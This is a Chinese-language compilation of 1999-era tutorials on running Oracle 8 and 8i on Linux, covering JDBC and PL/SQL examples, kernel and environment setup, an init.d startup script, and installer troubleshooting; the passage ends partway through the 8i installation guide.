        注意这些文件还不能让您可以在C程序中直接嵌入SQL语句，只有完整安装

        PRO*C/C++后才行。如果要用JAVA的话，还得增加$ORACLE_HOME/jdbc/lib/*；

        注意把这个目录加到ClASSPATH变量中。

        JDBC连接

        为测试JDBC连接，我作了一个小程序，在一个listbox内显示测试库中的所

        有雇员名。下面的程序1是调用JDBC

        的java Applet，程序2是调用JAVA程序的HTML超文本。如果您的JDBC已经安

        装成功，将程序1拷贝为 JDBCTest.java，将程序2拷贝为JDBCTest.html，

        然后：

        javac JDBCTest.java

        appletviewer JDBCTest.html

        您就可以自己看看结果如何了：

        程序1：

        /*

        Applet that reads in several rows from a remote Oracle database

        and presents them in a listbox.

        */

        import java.sql.*;

        import java.awt.*;

        import java.applet.*;

        import java.lang.*;

        public class JDBCTest extends Applet

        {

        //Single-select ListBox

        private List employee_list = new List(5, false)

        public void init()

        {

        setLayout(new BorderLayout());

        try {

        //Set up the Oracle JDBC driver

        DriverManager.registerDriver(new oracle.jdbc.driver.OracleDriver());

        //Connect to an Oracle database on machine sforza, using username

        //"scott" and password "tiger"

        Connection DB_conn = DriverManager.getConnection

        ("jdbc:oracle:thin:@sforza:1521:ORCL", "scott", "tiger");

        //Connection DB_conn = DriverManager.getConnection

        ("jdbc:oracle:thin:scott/tiger@sforza:1521:ORCL");

        //Create a JDBC statement object

        Statement statement_obj = DB_conn.createStatement();

        //Execute a query to get the employee names from the test DB

        ResultSet results = statement_obj.executeQuery ("select ENAME from

        EMP");

        //Populate the list box with all the employee names

        while (results.next ()){

        employee_list.add(results.getString(1));

        }

        } catch (SQLException e) {

        throw new RuntimeException("SQL Exception " + e.getMessage());

        }

        add(employee_list);

        }

        }

        程序2：

        <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML//EN">

        <html>

        <head> <title>Oracle JDBC driver test</title> </head>

        <body>

        <h1>Oracle JDBC driver test</h1>

        <applet code="JDBCTest.class" width="200",
        height="150"> Your

        browser doesn't support Java. </applet>

        <hr>

        <address>

        <a href="mailto:uche.ogbuji@linuxworld.com"></a>

        </address>

        <!-- Created: Sat Mar 6 18:53:23 MST 1999 -->

        <!-- hhmts start -->

        Last modified: Sat Mar 6 22:19:26 MST 1999

        <!-- hhmts end -->

        </body>

        </html>

        程序1的大部分都是与具体数据库无关的JDBC调用，依样画葫芦您也可以

        访问PostgresQL，主要和Oracle相

        关的部分是：

        Connection DB_conn = DriverManager.getConnection

        ("jdbc:oracle:thin:@sforza:1521:ORCL", "scott", "tiger");

        注意 Oracle thin JDBC driver中URI的格式：

        jdbc:oracle:thin:@<server_name_or_IP>:<port>:<SID>

        如果您想在URI中包括用户名和口令的话：

        jdbc:oracle:thin:username/password@<server_name_or_IP>:<port>:

        <SID>

        同样的URI还有一个较长的格式：

        "jdbc:oracle:thin:@(description=(address=(host=<server_name_or

        _IP>)(protocol

        =tcp)(port=<port>))(connect_data=(sid=<SID>)))"

        注意ORCL是系统安装的缺省SID（System Identifier，系统标识符）。

        如果您在安装时使用了其他的SID，

        在URI里也用那个SID。$ORACLE_HOME/network/admin/tnsnames.ora包

        括了Oracle服务器的端口和SID设置。

        这是TNS Listener，Oracle网络连接进程的配置文件。如果您无法通过

        网络连接数据库的话，首先应该检查

        端口号和SID是否正确，TNS listner是否正常（译注：lsnrctl status，

        或者tnsping）。JDBC并不是开发

        SQL数据库应用的唯一手段，ANSI标准SQLJ允许在JAVA程序中直接嵌入

        SQL语句。Oracle for Linux 8.0.5

        并没有捆绑SQLJ，但可以作为另一个独立产品获得。SQLJ是100％的

        JAVA，应该在Linux上运行没有问题，

        事实上SQLJ在底层使用的就是JDBC，因此可以同任何SQL数据库互联，

        并不限于Oracle。

        希望上面的这些例子能对您的编程有所帮助。可惜Oracle for Linux

        的编程文档相当的少，要不就是隐藏得

        十分深:) 也许在数据库编程得心应手之前，您得先啃它一两本书。

        PL/SQL

        对SQL的过程性语言扩展（PL/SQL）可能是Oracle最著名的特点。这种

        强大的专业数据库管理语言允许您对

        声明性的SQL加逻辑控制。一般，PL/SQL的存储过程（stored procedure）

        用命令行的sqlplus，图形化的

        Developer/2000（Linux上目前还没有）或其他工具开发，允许您从

        Oracle众多的查询接口（Oracle Application Server, Python, Perl,

        JDBC 或者C)访问。

        程序3：

        create or replace package stored_sample as

        function get_annual_salary (emp_number in number) return number;

        end stored_sample;

        /

        create or replace package body stored_sample as

        function get_annual_salary (emp_number in number) return number

        is

        annual_salary number;

        monthly_salary number;

        begin

        select sal into monthly_salary from emp where empno = emp_number;

        annual_salary := monthly_salary * 24;

        return (annual_salary);

        end get_annual_salary;

        end stored_sample;

        /

        上面的程序3是存储进程的一个小示范，它接受一个员工号，返回该员

        工的年薪。相关的函数

        get_annual_salary封装在PL/SQL包sample_package中。

        如果把程序3拷贝到文件sample.sql，您可以通过sqlplus运行它，如下

        所示：

        [oracle@sforza demo]$ sqlplus

        SQL*Plus: Release 8.0.5.0.0 - Production on Sun Mar 7 13:36:32

        1999

        (c) Copyright 1998 Oracle Corporation. All rights reserved.

        Enter user-name: scott

        Enter password:

        Connected to:

        Oracle8 Release 8.0.5.0.0 - Production

        PL/SQL Release 8.0.5.0.0 - Production

        SQL> @sample

        Package created.

        Package body created.

        SQL> set serveroutput on

        SQL> exec

        dbms_output.put_line(stored_sample.get_annual_salary(7782))

        58800

        PL/SQL procedure successfully completed.

        SQL>

        通过其他的编程接口，也可以使用这个PL/SQL包。Python/DCOracle中，

        参见Connection对象的procedures成员

        JDBC中，参见java.sql.CallableStatement。

        Oracle有众多的内置函数。事实上，大多数您以前用外部代码完成的

        功能都可以通过PL/SQL高效地完成。如果您需要什么比较通常的功能，

        请参考PL/SQL手册，看您需要的函数是否已经实现了。如果您准备做

        大量的Oracle编程的话，经常翻阅PL/SQL手册以熟悉各种函数是大有

        好处的。

        管理Oracle for Linux

        如果您已经习惯运行相对不那么复杂的数据库，那么在Oracle中完成

        一些日常操作，例如建立新数据库或者性能调谐会显得相当复杂。有

        一些关键的配置文件需要维护，如init.ora, config.ora和

        tnsnames.ora。

        一般有好几种办法指定一些关键参数，如当前的SID。可以在上述的

        文件中声明，也可以在环境变量中声明，或者是通过oracle工具的运

        行参数。这种灵活性是值得赞赏的，可惜有时搞清那一种设置优先也

        很伤脑筋。

        同Linux一样，Oracle提供的安全机制如果管理不当，就形同虚设。

        花时间熟悉各种访问规则和设置，以及各种特殊Oracle用户帐号的角

        色，还是值得的。

        Oracle的性能调谐是一个非常大，也非常专的话题。调谐得当，可以

        很大程度地提高性能。Oracle运行和CPU、内存、外存的关系是相当

        复杂的，这些因素必须考虑。另外，PL/SQL包，存储过程，临时表空

        间，表结构本身，所有这些都会随着使用而日趋复杂，保证数据库的

        结构优化，没有垃圾，绝对比定期从cron运行vacuum复杂得多。

        Oracle DBA(database adminstrator，数据库管理员）是电脑专业人

        员中一个著名的亚文化。这并不奇怪。Oracle的强大功能和灵活性，

        也同时意味着多得让人发疯的各种小秘密、小技巧、小陷阱，这方面

        的特点它绝不比任何人少－－包括Linux在内。您在征服Linux时可能

        已经发现，O'Reilly的动物园（译注：所有O'Reilly and Associate

        出版的书都以动物作封面）是一个很好的去处。如果您需要在Oracle

        上完成许多工作，找找黄封面的O'Reilly Oracle专辑。那里，你会

        找到比Oracle拜占庭迷宫式文档好的多的信息来源。

        Oracle for Linux vs. Oracle for NT

        NT上的Oracle (译注：Oracle在NT上的销量超过了SQL SERVER，是NT

        第一大数据库）为许多管理功能提供了图形界面，类似的功能在UNIX

        /Linux上只能通过sqlplus访问。这样的图形界面，设计得与NT控制

        面板的其他部分颇为相似。Linux DBA必须熟悉sqlplus。NT的问题是，

        许多管理任务要求用户在主控台（机器屏幕前）完成，如果想远程管

        理就需要昂贵的第三方软件（或者Oracle Enterprise Manager?）。

        UNIX上的Oracle管理可以从任何经过授权的远地进行，效果同在机器

        主控台一样。

        NT上的Oracle使用一个进程内的多个进程，而UNIX/Linux上的Oracle

        使用多个独立的，使用相互独立的内存空间（译注：UNIX上也有多线

        程的部分：Multithreaded Server，MTS，相当于前文提到的listener

        的多线程版本。）NT上的实现方式避免了进程间通信，有小小的性能

        优势，但UNIX上的实现方式提供了高得多的可靠性和数据完整性，因

        为一个Oracle进程不可能污染另一个Oracle进程的地址空间。（译注：

        在NT和VMS上，创建一个新的进程比创建一个新的线程昂贵得多，而且

        NT的进程间切换很慢，因此微软建议程序员只要有可能就使用多线程。

        在UNIX上，建立新进程是比较高效的。而在Linux上，建立新进程和新

        的内核线程,kernel thread都使用同一个基本系统调用，效率相当高。）

        在32位的硬件系统上，Linux的ext2文件系统的限制是最大文件为2G，

        NT为4G。这并不太影响Oracle的用户，因为表空间tablespace可以扩

        展到多个文件上，但还是有小小的效率问题。当然，64位的Linux

        (Alpha,Ultra-Sparc, PA-RISC)会消除这些限制，64位的Solaris

        (Solaris 7)也一样。（译注：这里其实有一些问题，待我查明再向

        各位看官交代）。

        一些好工具/结束语

        Oracle同时发布了Oracle Application Server (OAS)的Linux版本。

        对OAS的深入探讨在本文范围之外，但它确实是连接后端Oracle数据

        库，建立Internet或Intranet应用的一个强有力的工具。OAS提供

        JAVA开发能力，可以将HTTP和IIOP与OCI网络接口串在一起，具备

        友好的界面以便设计WEB表单和报表，还有其他方便的工具。

        Oracle如此流行，自然也有相应的一批开源软件（Open Source）

        工具。其中的OWS killer 是一个基于JAVAServlet的可以替代OAS

        的WEB接口工具，与Apache WEB服务器、Apache的Jserv JAVA Servelet

        模块集成，提供对Oracle数据库的访问。（译注：OWS, Oracle Web

        Server是Oracle Application Server早期版本的名称）。

        您可以在Matt's House 找到更多的工具以管理Oracle的存储过程、

        提供快速的报表功能。

        掌握Oracle可不是举手之劳的事，但也没有必要望而却步。确实，

        世上有许多更容易管理的数据库，但如果您需要高级的SQL，或者

        PL/SQL的功能，或者trigger，或者各种扩展，或者先进的交易管

        理，或者必须和Oracle系统共存，您会发现Linux是一个极佳的

        Oracle平台。您已经在Linux的世界中探索了这样远，一定也能应

        付Oracle的挑战。

        资源链接：

        Oracle for Linux正式发布的新闻稿:

        http://www.oracle.com/cgi-bin/press/printpr.cgi?

        file=199810090500.17129.html&mode=corp&td=01&product=00&

        tm=10&fd=01&fm=08&status=Search&ty=1998&limit=100&fy=1998

        在Redhat上安装Oracle 8.0.5和OAS 3的详细指导:

        （Step-by-step install notes for Oracle 8.0.5 and Application

        Server on Red Hat）:

        http://jordan.fortwayne.com/oracle

        下载Oracle 8和Oracle Application Server:

        http://technet.oracle.com/tech/linux/section.htm

        Oliver Andrich's Python & Linux Page:

        http://andrich.net/python

        Oracle on Linux -- Oracle Technet上的论坛

        http://f2.dejanews.com/oracletechnet/nonmembers/index.cgi?

        do=listmsgs&conf=Early.Linux

        Blackdown.org -- Linux JDK:

        http://www.blackdown.org/

        Pythond的Oracle模块:

        http://www.zope.org/Download/DCOracle/

        Oracle SQLJ -- 在Java中嵌入SQL:

        http://www.oracle.com/java/sqlj/index.html

        OWS Killer:

        http://www.adela.sk/kuzela/OWSKiller/

        Matt's House:

        http://www.mattshouse.com/procedit/

        在FreeBSD上运行Oracle for Linux

        http://www.freebsd.org.ru/linux-oracle.HOW-TO.html


Oracle技术网—为Linux配备Oracle 8

为Linux配备Oracle 8
来源：赛迪网

    在Linux下使用Oracle 8以前，应当安装Oracle 8，但Oracle公司提供的安装文档较为简单。笔者借鉴其在Unix操作系统下的安装方法，得出了在Linux上安装Oracle 8的方法，此方法并不一定是最好的，使各位读者用上Oracle 8才是本文的目的。

    前期准备

    假定安装环境是Red Hat Linux，请在安装前确认Linux的核心版本为2.0.36及以上。

    1.以Root用户登录进入系统，创建用户oracle和组dba，这是Oracle默认的安装用户。创建安装用户后，用tar －xvzf 将压缩文件解压到一个指定的目录，本文假定为/oracle，因为tar进行数据归档与用户本机的用户ID、组ID不同，所以要运行chown －R oracle:dba 以更改文件属性。

    2.由于Oracle本身对共享段的要求，用户必须重新手工生成核心，以便共享段的设定满足安装要求。为生成核心，用户应当安装Linux操作系统的源代码，编辑/usr/src/linux/include/shmparam.h，将＃define SHMMAX 0x002000000一行的0x002000000(32MB)改为256MB以上，然后在/usr/src/linux下运行make dep、make clean、make bzImage生成核心，使用linuxconf命令将新核心设为启动核心。这一步一定要做，如果生成的新核心有错，可以用原来的核心启动计算机。可用ipc －ml查看共享段的设置是否满足要求。当共享段大于2GB时，查看到的值是负数。

    3.安装相应的egc包。假定安装光盘mount在/mnt/cdrom上，用命令modprobe isofs使操作系统能处理光盘的文件系统，然后运行mount －t iso9660 /dev/cdrom /mnt/cdrom，如在安装后修改了/etc/fstab，可不进行这一步操作。进入相应的RPMS目录，安装以egc开始的包，采用的安装命令为rpm －ivh <包名>。

    设定安装的环境变量

    安装前，应该设定相应的环境变量。修改用户Oracle的.bash—profile文件，设定相应的环境变量。由于安装系统时需要Root用户，也要有这些环境变量，故将其放在/etc/profile内，加＊号为Oracle专有的环境变量，示例如下：

    ＃ /etc/profile

    ＃ System wide environment and startup programs

    ＃ Functions and aliases go in /etc/bashrc

    JAVA—HOME=/usr/local/jdk1.1.3

    SYBASE=/opt/sybase－11.9.2

    DSQUERY=SYBASERDBMS

    ＊PATH=＄PATH:＄JAVA—HOME/bin:/usr/X11R6/bin:/home/oracle/product/8.0.5/bin

    PS1=″\u@\h:\w\\＄″

    ulimit －c 1000000

    if [ ′id －gn′ = ′id －un′ －a ′id －u′ －gt 14 ]; then umask 002

    else umask 022

    fi

    USER=′id －un′

    LOGNAME=＄USER

    MAIL=″/var/spool/mail/＄USER″

    CLASSPATH=/usr/local/jdk1.1.3/lib:＄HOME/bin

    HOSTNAME=′/bin/hostname′

    HISTSIZE=1000

    HISTFILESIZE=1000

    export JAVA—HOME CLASSPATH SYBASE DSQUERY

    export PATH PS1 HOSTNAME HISTSIZE HISTFILESIZE USER LOGNAME MAIL

    ＊ORACLE—HOME=/home/oracle/product/8.0.5

    ＊ORACLE—BASE=/home/oracle

    ＊ORACLE—OWNER=oracle

    ＊ORACLE—SID=oracle8

    ＊ORACLE—TERM=386

    ＊LD—LIBRARY—PATH=/home/oracle/product/8.0.5/lib

    ＊TMPDIR=/var/tmp

    ＊export ORACLE—HOME ORACLE—BASE ORACLE—OWNER ORACLE—SID ORACLE—TERM

    export LD—LIBRARY—PATH TMPDIR

    for i in /etc/profile.d/.sh ; do

     if [ －x ＄i ]; then . ＄i

     fi

    done

    unset i

    安装并启动数据库

    1.以用户Root登录系统，然后到相应目录运行/oracle/orainst/oratab.sh可生成/etc/oratab文件。用su － oracle切换到用户Oracle，运行/oracle/orainst/orainst就可启动安装命令，安装时注意在这一步不要安装Oracle文档、JDK和智能代理，并且不要创建数据库对象。重新启动/oracle/orainst/orainst安装的RDBMS部份，一般情况下除了输入几个用户定制的口令其余按默认值就可以了。Oracle安装程序开始拷贝文件，拷贝文件过程中，当安装到数据库管理系统(RDBMS)时，用户可从另一终端登录，用ps －ef | grep oracle见到一些Oracle进程已启动。

    2.数据库服务器安装完成后，就可以手工启动了。以用户Oracle登录，进入＄ORACLE—HOME/bin，运行DBStart就可以启动数据库服务器。运行DBShut就可停止数据库服务器。

    如果用户不太熟悉Oracle的网络部份，可将＄ORACLE—HOME/network/admin/ora拷贝到/etc目录，在＄ORACLE—HOME/bin下运行lsnrctl start就可以启动网络监视进程。

    3.为了每一次启动系统时自动启动Oracle或管理员手工指定是否每一次启动时自动启动Oracle，可采用如下方法。以Root登录，进入/etc/rc.d/init.d，手工生成文件Oracle，至于文件的书写格式可参见其余相应文件，示例如下：

    ＃!/bin/sh

    ＃ oracle　　 This shell script takes care of starting and stopping

    ＃　　　　　　 oracle.

    ＃ chkconfig: 2345 80 30

    ＃ description: oracle is a RDBMS Server.

    ＃ processname: oracle

    ＃ Source function library.

    . /etc/rc.d/init.d/functions

    ＃ Source networking configuration.

    . /etc/sysconfig/network

    ＃ Check that networking is up.

    [＄{NETWORKING}= ″no″ ] ＆＆ exit 0

    ＃ See how we were called.

    case ″＄1″ in

     start)

     ＃ Start daemons.

     echo －n ″Starting oracle: ″

     su － oracle /home/oracle/product/8.0.5/bin/dbstart > /dev/null 2>＆1

        sleep 60

     su － oracle/home/oracle/product/8.0.5/bin/lsnrctl start > /dev/null 2>＆1

     echo

     touch /var/lock/subsys/oracle

     ;;

     stop)

     ＃ Stop daemons.

     echo －n ″Shutting down oracle: ″

     su － oracle/home/oracle/product/8.0.5/bin/lsnrctl stop > /dev/null 2>＆1

     su － oracle /home/oracle/product/8.0.5/bin/dbshut > /dev/null 2>＆1

     echo

     rm －f /var/lock/subsys/oracle

     ;;

     restart)

     ＄0 stop

     ＄0 start

     ;;

     status)

     status oracle

     ;;

     )

     echo ″Usage: oracle {start|stop|restart|status}″

     exit 1

    esac

    exit 0

    客户端配置

    为了能使用Windows下的一些开发工具，可以按如下方法进行：

    1.在Windows下安装Oracle客户端软件(可以采用Oracle 7.xx的Windows客户端软件)，安装完成后，将Linux下的/etc/tnsnames.ora拷到Windows下的＄ORACLE\network\admin目录下，在开始选单中运行net easy configure并指明ODBC连接的字串名和运行SQLPLUS需要的主机字串(Host String)，就可以从客户端连上服务器，通过ODBC进行数据库的开发。

    2.如果用户使用Delphi为开发工具，可在BDE设定中指明有远端Oracle服务器，设定时仅指明数据库系统的网络协议为TNS(Transparent Network Substrate，请不要使用TCP)，然后进入数据库桌面，就可以访问远端Oracle数据库上的数据了。

    摘自《赛迪网》　屈松、林勇、钟久辉/文


Oracle技术网—在RedHat 6.0上安装Oracle 8i(全攻略)

在RedHat 6.0上安装Oracle 8i(全攻略)
来源：LinuxByte
晏子 编译

--------------------------------------------------------------------------------

目前，网上已有不少较少Oracle 8i在Linux（RedHat 6.0）上的安装指南，但在实际运用中还是会遇到各种各样的问题，这其中的是，一则指南本身不完全，还有就是Oracle本身也有一定的问题。本文是我找到的最完整的一个安装指南，其他的FAQ很具实用价值，故将此文整理出来供大家参考。

本文只介绍Oracle 8i企业版(815ship.tgz)。

如果你还有问题，请到Oracle 技术网络和deja.com提问或查找答案。

--------------------------------------------------------------------------------

1. 准备安装
1.1 获得Java运行时刻环境（JRE）
1.2 重新配置并编译你的内核
1.3 建立Linux用户组和帐号
1.4 设置环境变量
2. 安装
2.1 运行Oracle通用安装程序
2.2 安装所有Oracle选件
2.3 不要用数据库助手创造数据库
2.4 使用Oracle 8i补丁
3. 创建一个数据库
3.1 运行数据库助手
3.2 使用定制/专用服务器模式
3.3 保存到脚本
3.4 运行脚本
3.5 扩大你的重做日志文件
3.6 修改你的init.ora文件
3.7 不使用数据库助手创造一个数据库
4. 数据库创建的后期过程
4.1 自动启动和关闭数据库
4.2 安装SQL*Plus联机帮助
5. 配置Net8
5.1 Net8助手的限制
5.2 建立一个监听器
5.3 为本地命名方法配置Net8
5.4 配置SQLNET.ORA
5.5 使用本地命名方法测试Net8连接
5.6 为主机命名方法配置Net8
5.7 使用主机命名方法测试Net8连接
5.8 建立Oracle命名服务器
5.9 使用Oracle命名方法测试Net8连接
5.10 为IIOP连接配置监听器
5.11 自动启动和关闭监听器
5.12 自动启动和关闭Oracle命名服务器
6. 常见问题
Oracle 通用安装程序
我不能运行Oracle通用安装程序。我怎么办？
Oracle 通用安装程序提示我为OSDBA和OSOPER指定Linux用户组。你也被这样提出过吗？
数据库助手
有这么办法不使用数据库助手就能创造一个数据库吗？
我得到“can"t find class java/lang/Thread”的一个错误消息
我得到一条警告消息"JNLS Exception:oracle.ntp.jnls.JNLSException Unable to find any National Character Sets. Please check your Oracle installation."。
当保存到脚本时，我得到错误消息"Unable to create database. DBCA-00047: Unable to create destination directories."。
我应该选择“典型”还是“定制”安装？
我在创建数据库时得到一条“ ORA-01012 ：Not logged in”。
尽管我使用了专用服务器过程，仍然得到“ ORA-01012 ：Not logged in”。
我得到一条“ORA-01034 ：ORACLE not available”。
创造一个数据库花了很长的时间。
使用补丁
在使用8.1.5.0.1补丁以后，svrmgrl和sqlplus仍然报告8.1.5.0.0。
在使用8.1.5.0.2补丁以后，当运行svrmgrl时，我得到一条“ORA-12545 Connect failed because target host or object does not exist”。
其他
在我的pmon跟踪文件中有一条：“OER 536879337 in Load Indicator : Error Code = 570716328 !”
在我的警告记录文件和pmon踪迹文件中，我得到很多“Load Indicator not Supported by OS!”。
我得到“ORA-00601 cleanup lock conflict”并且Oracle因中度负载的EJB顾客而死掉。
有人在一个2.3版内核上使用Oracle8i吗？
7. 资源链接
补丁和支持文档的重要链接

1. 准备安装
1.1 获得Java运行时刻环境(JRE)
本文中所指的Java运行时刻环境意味着JRE 1.1.6v5，而不是JDK。从<a href=www.Blackdown.org>Blackdown</a>下载，要得到glibc版本而不是libc版本。在你喜欢的任何目录下安装它，但是确保建立一个名为/usr/local/jre的符号连接到你安装了JRE的目录，并且其安装目录可被以后创建的Linux帐号oracle读取和执行。

如果你使用JDK而不是JRE，通用安装程序将在以后抱怨Oracle不能找到Java类java.lang.Thread。其原因是：

JRE使用rt.jar作为包含Java库的文件，而JDK使用classes.zip。
Oracle通用安装程序是一个Java应用程序，它被编码成使用rt.jar而不是classes.zip作为它的java 的CLASSPATH部分。
因此，你仍然可以通过创建一个名为rt.jar的符号连接连接到classes.zip而继续使用JDK。

如果你有兴趣使用IBM的JDK 1.1.8，要注意IBM的实现仅仅支持原生线程，并且不支持-green标志。Oracle 8i安装脚本使用原生和green线程。

注意：你不需要设定CLASSPATH环境变量。如果你已经安装其他版本的java，在你运行安装程序时，删除CLASSPATH的设置(unset)，而在你使用安装程序时，再把它设置回来。这点在使用netasst和dbassist时也是一样。

1.2 重新配置并编译你的内核
很多用户已经报告不为Oracle8i重新配置内核而成功。当心！下列文字摘自Oracle8i Linux文档（原文）：

Oracle8i Administrator"s Reference Release 8.1.5 for Intel Linux (A74957-01)
Chapter 1 - Administering Oracle8i
Controlling the System Global Area
Size Limits of the SGA
The maximum size of a single shared memory region is specified by the Linux parameter SHMMAX. For example, if SHMMAX is 512 KB and the SGA is 2048 KB, the SGA requires four segments.

If the size of the SGA exceeds the maximum size of a shared memory segment (SHMMAX), Oracle8i attempts to attach more contiguous segments to fulfill the requested SGA size. SHMSEG is the maximum number of segments that can be attached by a process. To attach the segments at contiguous addresses, SHMMAX must be set to its maximum value on systems where its size is limited.

Note: Intimate Shared Memory (ISM) may cause problems when SHMMAX is smaller than the database SGA size.

1.3 设置Linux用户组和帐号
你需要创建Linux用户组dba和oinstall。

创建Linux帐号oracle有一个问题。Oracle8i Linux文档在oracle账号应该属于哪个Linux用户组上自相矛盾。看一看下面摘自Oracle8i Linux安装指南的文字，它说Linux oracle帐号应该属于oinstall组：

Oracle8i Installation Guide Release 8.1.5 for Intel Linux (A74958-0)
Chaper 2 - Setting the Environment
Setup Task to Perform as the root User
Create a Linux Account to Own Oracle Software
The oracle account is the Linux account that owns the Oracle8i software after installation. You must run the OUI from this account. On Intel-Linux, use the operating system administration utility useradd to create an oracle account with the following properties:

Login Name Any name, but this document refers to it as the oracle account.
Default GID Corresponding to the oinstall group.

而另一方面，Oracle8i Linux管理指南说Linux oracle帐号应该属于dba组：

Oracle8i Administrator"s Reference Release 8.1.5 for Intel Linux (A74957-01)
Chapter 1 - Administering Oracle8i
Managing Special Accounts and Groups (Table 1-8)
The oracle software owner is the only required member of the dba group. You can add the root user, or any other Linux user, to the dba group. Members of this group have access to SQL*Plus specially privileged functions. If your account is not a member of the dba group, you must enter a password in order to connect as INTERNAL or gain access to the other administrative functions of SQL*Plus. The default group ID is dba.

那么Linux oracle到底应该属于哪个Linux用户组？我的建议是dba。甚至对Oracle 8.0.5，oracle帐号已经是dba组的一个成员了。

你将oracle分配到dba还是oinstall组，在安装过程上有差别：

如果oracle是dba的一个成员，通用安装程序将提示你运行脚本 Oracle/tmp/OraInstall/oraInstroot.sh。这个脚本将改变$ORACLE_BASE/oraInventory的组属主为oinstall。
而如果oracle是oinstall的一个成员，通用安装程序将“抱怨”或提示你Oracle帐号OSDBA和OSOPER的Linux组，但是不提醒你要运行上述的脚本。
1.4 设置环境变量
设置所有所需的环境变量，例如在安装指南中指明的ORACLE_BASE、ORACLE_HOME、ORACLE_SID和LD_LIBRARY_PATH。我也将$ORACLE_HOME/bin加到PATH中。

注意：你不需要设定CLASSPATH环境变量。如果你已经安装其他版本的java，在你运行安装程序时，删除CLASSPATH的设置(unset)，而在你使用安装程序时，再把它设置回来。这点在使用netasst和dbassist时也是一样。

如果你仅有128MB的物理内存，并且你在网络上有另外一台Linux机器，你可能想要运行Oracle通用安装程序但在另外一台Linux机器上显示，以便你不需要在你安装Oracle8i的机器上运行X。通过设置DISPLAY环境变量到正在运行X的主机名或IP地址(另一台Linux机器)做到，还有X使用的屏幕号。

例如，如果我正在安装Oracle8i的IP地址是 192.168.0.1，并且运行X的另一台Linux机器是192.168.0.2， 从主机192.168.0.1设置DISPLAY环境变量，如下：

export DISPLAY=192.168.0.2:0.0

在192.168.0.1上运行的任何X应用程序将其输出送到192.168.0.2。然而，X服务器必须允许除自己以外的主机的显示请求。在192.168.0.2主机上，做：

xhost +192.168.0.1

如果你设置了NLS_LANG环境变量，保证它被设置为一个合适/正确的值。见尽管我使用了专用服务器过程，仍然得到“ ORA-01012 ：Not logged in”。

2. 安装
2.1 运用 Oracle 通用安装程序
如果你只有一台至少196MB的Linux机器，那么你可以安全地在同一台机器上运行X并安装Oracle 8i。如果你仅有128MB，安装可能很慢。

如果你有2台Linux机器，一个为Oracle8i，另一个运行X，从运行X的主机telnet到安装Oracle 8i的主机，并以oracle登录。通过进入CDROM（或下载版本的解压目录）并运行脚本./runInstaller运行Oracle通用安装程序。当应用程序远程运行时，显示应该出现在X上。如果不是，见前一章。

RedHat 6.1的用户有运行安装程序本身的问题，例如：

Error in CreateOUIProcess(): -1 : Bad Address

对此，这里是其他一些人的一些建议：

如果你使用GNOME，获得enlightenment-0.15.5-37.i386.rpm或更高。
使用KDE。
进入install/linux目录，并运行runInst.sh。
在你看到第一个对话后继续下一个对话，你将被提醒运行脚本/tmp/OraInstall/oraInstroot.sh。这个脚本将改变$ORACLE_BASE/oraInventory的组属主为oinstall。如果从来没有这样提醒你，要么是你以前已经安装了Oracle8i(只装附加部件)或oracle帐号不是dba的一个成员，改变oracle的用户组为dba。

如果Oracle通用安装程序突然死了，问题可能是内存太小。尝试做下列操作：

增大你的交换区
当使用install/linux/runInst.sh时，增加由Java使用的堆大小，通过将传递给jre的参数从-mx64mb改为-mx100mb。
2.2 安装所有Oracle选件
你可以选择安装或不安装的Oracle选件是Time Series Option、Visual Retrieval Information Option、Spatial Option、和interMedia Option。其他Oracle 选件例如JServer、Parallel Option、和Partitioning Options被缺省安装。

当你到了选件要安装的对话时，不管你是否想使用Oracle选件，安装Oracle所有选件。Oracle选件将不被使用，直到你决定在一个数据库中使用他们。

安装所有Oracle选件的原因是由于$ORACLE_HOME/bin/relink脚本的一个bug。这个脚本在每次升级后或Oracle8i打补丁后都要运行。然而，似乎脚本假定所有的库文件，包括哪些Oracle自带的选件，都存在。如果它不能找到甚至一个库文件，重新链接就失败。

如果你碰巧使用了原来的8.1.5.0.1补丁并且注意了sqlplus或svrmgrl仍然报告是8.1.5.0.0，这是因为，是由于丢失库文件而导致重新链接失败。在我第一次安装时，我取消了我能取消的所有Oracle选件。在使用补丁以后，错误记录(如果你做了一个)将显示出：

/usr/bin/ld: Cannot open -lordsdo8: No such file or directory

当你不安装Oracle选件而使用8.1.5.0.2补丁，情况是更糟糕。你甚至不能运行svrmgrl：

ORA-12545 Connect failed because target host or object does not exist.

2.3 不要用数据库助手创建数据库
在安装完成后，Oracle数据库助手将运行。注意，即使你在以前的提示你是否要用数据库助手创建一个数据库的一个对话框回答“No”，它仍将运行。

当你运行数据库助手时，你将得到一条错误消息：

JNLS Exception:oracle.ntp.jnls.JNLSException Unable to find anyNational Character Sets.
Please check your Oracle installation.
只要忽略这条消息并且继续。当你被提示创建、修改或删除一个数据库时，就取消，并且完全退出Oracle通用安装程序。我们需要首先使用补丁。

以下是从8i补丁的常见问题有关上面错误消息的文字：

--------------------------------------------------------------------------------

6. Just before the DB Assistant is launched, a dialog is displayed withthe warning:"JNLS Exception:
oracle.ntp.jnls.JNLSException Unable to find any National Character Sets. Please check your Oracle
installation."

This is a known problem (884001). Ignore the warning

--------------------------------------------------------------------------------

2.4 使用 Oracle8i 补丁
从Oracle Technology Network获得最新的补丁。目前，最新的补丁是8.1.5.0.2。8.1.5.0.2 补丁是一个累积的补丁。它包括8.1.5.0.1 补丁。运行补丁并通过检查/tmp/81501.log和/tmp/81502.log查看任何错误。检查是否在这些脚本中有重新连接失败。用grep找词“fail”。如果重新连接失败，有可能是没有安装Oracle所有选件。见“安装所有Oracle选件”。

3. 创建一个数据库
3.1 运行数据库助手
既然你使用了最新的补丁，你现在已经准备好创建你的数据库了。运行dbassist。你将得到这样一条错误消息：

JNLS Exception:oracle.ntp.jnls.JNLSException Unable to find anyNational Character Sets.
Please check your Oracle installation.
只要忽略这条消息并且继续。这是摘自8i补丁的常见问题关于上面错误消息的文字：

--------------------------------------------------------------------------------

6. Just before the DB Assistant is launched, a dialog is displayed withthe
warning:"JNLS Exception: oracle.ntp.jnls.JNLSException Unable to find any National
Character Sets. Please check your Oracle installation." This is a known problem
(884001). Ignore the warning

--------------------------------------------------------------------------------

实际上，你不必使用数据库助手创建一个数据库。你可以得到页脚本来做它。详见item number 9 on the 8i patch FAQ。然而，这个文件假定你使用数据库助手。

3.2 使用定制安装/专用服务器模式
